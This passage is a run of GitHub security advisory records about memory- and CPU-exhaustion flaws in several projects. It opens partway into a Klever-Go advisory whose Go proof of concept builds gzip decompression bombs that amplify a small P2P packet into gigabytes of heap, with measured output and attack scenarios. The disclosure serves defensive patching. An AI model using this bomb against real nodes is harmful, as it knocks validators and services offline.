inflatedSize = 256 \u003c\u003c 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test\u0027s own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(\u0026buf)\n\tchunk := make([]byte, 1\u003c\u003c20)\n\tfor written := 0; written \u003c size; {\n\t\tn := len(chunk)\n\t\tif size-written \u003c n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress\u0027s internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(\u0026ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(\u0026s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur \u003c= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t\u003c-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t\u003c-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo: batch.CType_GZip,\n\t\tStream: bombStream,\n\t\tDataSize: 1, // a lie \u2014 Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\" wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\" advertised DataSize: %d\", bomb.DataSize)\n\tt.Logf(\" actual decompressed size: %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1\u003c\u003c20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\" Decompress error: %v (irrelevant \u2014 heap already allocated)\", decompressErr)\n\tt.Logf(\" peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\" elapsed: %v\", elapsed)\n\tt.Logf(\" amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif allocated \u003c uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\tif amp \u003c 100 {\n\t\tt.Fatalf(\"amplification only %.1fx \u2014 expected \u003e\u003e100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling \u2014 gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress\u0027s internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := \u0026batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(\u0026compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo: batch.CType_GZip,\n\t\tStream: compressed.Bytes(),\n\t\tDataSize: 1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\" inner wire (uncompressed): %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1\u003c\u003c20))\n\tt.Logf(\" outer wire (gzip-wrapped): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\" inner -\u003e outer compression: %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\" Decompress returned: %v\", decompressErr)\n\tt.Logf(\" Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\" peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\" elapsed: %v\", elapsed)\n\tt.Logf(\" amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got %d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated \u003c 256\u003c\u003c20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 expected \u003e256 MiB\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN TestC2_DecompressionBomb_RawZeros\n wire payload (after Marshal): 260938 bytes (254.82 KiB)\n advertised DataSize: 1\n actual decompressed size: 268435456 bytes (256.00 MiB)\n Decompress error: proto: cannot parse invalid wire-format data (irrelevant \u2014 heap already allocated)\n peak heap during Decompress: +887994584 bytes (846.86 MiB)\n elapsed: 155.79ms\n amplification: 3403x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN TestC2_DecompressionBomb_ValidInner\n inner wire (uncompressed): 50000000 bytes (47.68 MiB)\n outer wire (gzip-wrapped): 48642 bytes (47.50 KiB)\n inner -\u003e outer compression: 1028x\n Decompress returned: \u003cnil\u003e\n Decompressed b.Data length: 25000000 (matches N=25000000? true)\n peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n elapsed: 582.92ms\n amplification: 45604x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration \u2014 the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer\u0027s local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n can OOM the entire fleet within a single block-production interval,\n affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n reputation logic runs, so the attack works regardless of whether the\n receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53` \u2014 `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` \u2014 `Batch.Decompress`, ignores `DataSize`,\n re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` \u2014 call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94` \u2014 preceding\n `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n r, err := gzip.NewReader(bytes.NewReader(data))\n if err != nil { return nil, err }\n defer r.Close()\n lr := io.LimitReader(r, max+1)\n out, err := io.ReadAll(lr)\n if err != nil { return nil, err }\n if int64(len(out)) \u003e max {\n return nil, ErrDecompressionTooLarge\n }\n return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n if !ba.IsCompressed { return common.ErrNotCompressed }\n if ba.DataSize \u003e maxInflatedBatch {\n return ErrDecompressionTooLarge\n }\n result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n if err != nil { return err }\n if int64(len(result)) != int64(ba.DataSize) \u0026\u0026 ba.DataSize \u003e 0 {\n return ErrDecompressedSizeMismatch\n }\n if err := m.Unmarshal(ba, result); err != nil { return err }\n ba.Stream, ba.IsCompressed = nil, false\n return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by \u224830\u00d7 relative to the measured PoC and \u2248400\u00d7\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 \u2014 Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose \u224816 bytes \u00d7\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding \u2014 that `Decompress`\u0027s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs \u2014 is captured by the\nheadline finding\u0027s PoC.\n\n### Bundled #2 \u2014 Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) \u0026\u0026\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) \u0026\u0026\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
"id": "GHSA-87m7-qffr-542v",
"modified": "2026-05-29T21:57:08Z",
"published": "2026-05-13T01:36:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44697"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload"
}
GHSA-87PF-FPWV-P7M7
Vulnerability from github – Published: 2026-05-04 22:03 – Updated: 2026-05-14 20:48Summary
When authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.
Details
A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive OpenSSL::KDF.pbkdf2_hmac call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.
OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.
This is listed as one of the "Security Considerations", in RFC 7804:
A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).
Impact
During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.
OpenSSL::KDF.pbkdf2_hmac is a blocking C function, so Timeout cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.
Mitigation
- Upgrade to a patched version of
net-imapthat adds themax_iterationsoption to theSASL-*authenticators, and callNet::IMAP#authenticatewith amax_iterationskeyword argument.
NOTE: The default max_iterations is 2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.
* Alternatively, avoid SCRAM-* mechanisms when authenticating to untrusted servers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42256"
],
"database_specific": {
"cwe_ids": [
"CWE-1322",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:03:28Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.\n\n### Details\n\nA hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive `OpenSSL::KDF.pbkdf2_hmac` call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby\u2019s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.\n\nOpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.\n\nThis is listed as one of the \"Security Considerations\", in [RFC 7804](https://www.rfc-editor.org/rfc/rfc7804.html#page-15):\n\u003e A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).\n\n### Impact\n\nDuring SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.\n\n`OpenSSL::KDF.pbkdf2_hmac` is a blocking C function, so `Timeout` cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.\n\n### Mitigation\n\n* Upgrade to a patched version of `net-imap` that adds the `max_iterations` option to the `SASL-*` authenticators, and call `Net::IMAP#authenticate` with a `max_iterations` keyword argument. \n\n **NOTE:** The default `max_iterations` is `2\u00b3\u00b9 - 1`, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.\n _To prevent a denial of service attack,_ this must be set to a safe value, depending on hardware and version of OpenSSL.\n _It is the user\u0027s responsibility_ to enforce minimum and maximum iteration counts that are appropriate for their security context.\n* Alternatively, avoid `SCRAM-*` mechanisms when authenticating to untrusted servers.",
"id": "GHSA-87pf-fpwv-p7m7",
"modified": "2026-05-14T20:48:25Z",
"published": "2026-05-04T22:03:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/158d0b505074397cdb5ceb58935e42dd2bcfa612"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/808001bc45c06f7297a7e96d341279e041a7f7f4"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/99f59eab6064955a23debd95410263ad144df758"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42256.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc7804.html#page-15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication"
}
GHSA-87Q4-V2F4-JH82
Vulnerability from github – Published: 2026-02-11 15:30 – Updated: 2026-02-12 15:32An uncontrolled resource consumption vulnerability has been reported to affect Qsync Central. If a local attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.
We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.4 ( 2026/01/20 ) and later
{
"affected": [],
"aliases": [
"CVE-2025-54151"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T13:15:54Z",
"severity": "MODERATE"
},
"details": "An uncontrolled resource consumption vulnerability has been reported to affect Qsync Central. If a local attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.4 ( 2026/01/20 ) and later",
"id": "GHSA-87q4-v2f4-jh82",
"modified": "2026-02-12T15:32:42Z",
"published": "2026-02-11T15:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54151"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-26-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-87QX-QRR6-FWPW
Vulnerability from github – Published: 2022-11-01 19:00 – Updated: 2025-05-05 21:31Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
{
"affected": [],
"aliases": [
"CVE-2022-42317"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-01T13:15:00Z",
"severity": "MODERATE"
},
"details": "Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction",
"id": "GHSA-87qx-qrr6-fwpw",
"modified": "2025-05-05T21:31:14Z",
"published": "2022-11-01T19:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42317"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YTMITQBGC23MSDHUCAPCVGLMVXIBXQTQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YZVXG7OOOXCX6VIPEMLFDPIPUTFAYWPE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZLI2NPNEH7CNJO3VZGQNOI4M4EWLNKPZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YTMITQBGC23MSDHUCAPCVGLMVXIBXQTQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YZVXG7OOOXCX6VIPEMLFDPIPUTFAYWPE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZLI2NPNEH7CNJO3VZGQNOI4M4EWLNKPZ"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5272"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-326.txt"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-326.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-87X4-F37W-27P2
Vulnerability from github – Published: 2026-06-04 21:31 – Updated: 2026-06-04 21:31A missing upper-bound check in the udpif_set_threads() function of Open vSwitch v3.6.90 allows an attacker with OVSDB write access to request an excessive number of handler or revalidation threads. This can cause a denial of service (DoS) via resource exhaustion.
{
"affected": [],
"aliases": [
"CVE-2026-36499"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T19:16:28Z",
"severity": "MODERATE"
},
"details": "A missing upper-bound check in the udpif_set_threads() function of Open vSwitch v3.6.90 allows an attacker with OVSDB write access to request an excessive number of handler or revalidation threads. This can cause a denial of service (DoS) via resource exhaustion.",
"id": "GHSA-87x4-f37w-27p2",
"modified": "2026-06-04T21:31:22Z",
"published": "2026-06-04T21:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36499"
},
{
"type": "WEB",
"url": "https://github.com/majdlatah/OVS-Other-Config-Bug"
},
{
"type": "WEB",
"url": "http://open.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-87X9-7GRX-M28V
Vulnerability from github – Published: 2023-02-22 00:03 – Updated: 2023-02-22 00:03Impact
notation-go users will find their application using excessive memory when verifying signatures and the application will be finally killed, and thus availability is impacted.
Patches
The problem has been patched in the release v1.0.0-rc.3. Users should upgrade their notation-go packages to v1.0.0-rc.3 or above.
Workarounds
Users can review their own trust policy file and check if the identity string contains =#. Meanwhile, users should only put trusted certificates in their trust stores referenced by their own trust policy files, and make sure the authenticity validation is set to enforce
Credits
The notation-go project would like to thank Adam Korczynski (@AdamKorcz) for responsibly disclosing this issue during a security fuzzing audit sponsored by CNCF and Shiwei Zhang (@shizhMSFT) for root cause analysis and detailed vulnerability report.
References
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/notaryproject/notation-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-rc.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25656"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-22T00:03:49Z",
"nvd_published_at": "2023-02-20T16:15:00Z",
"severity": "HIGH"
},
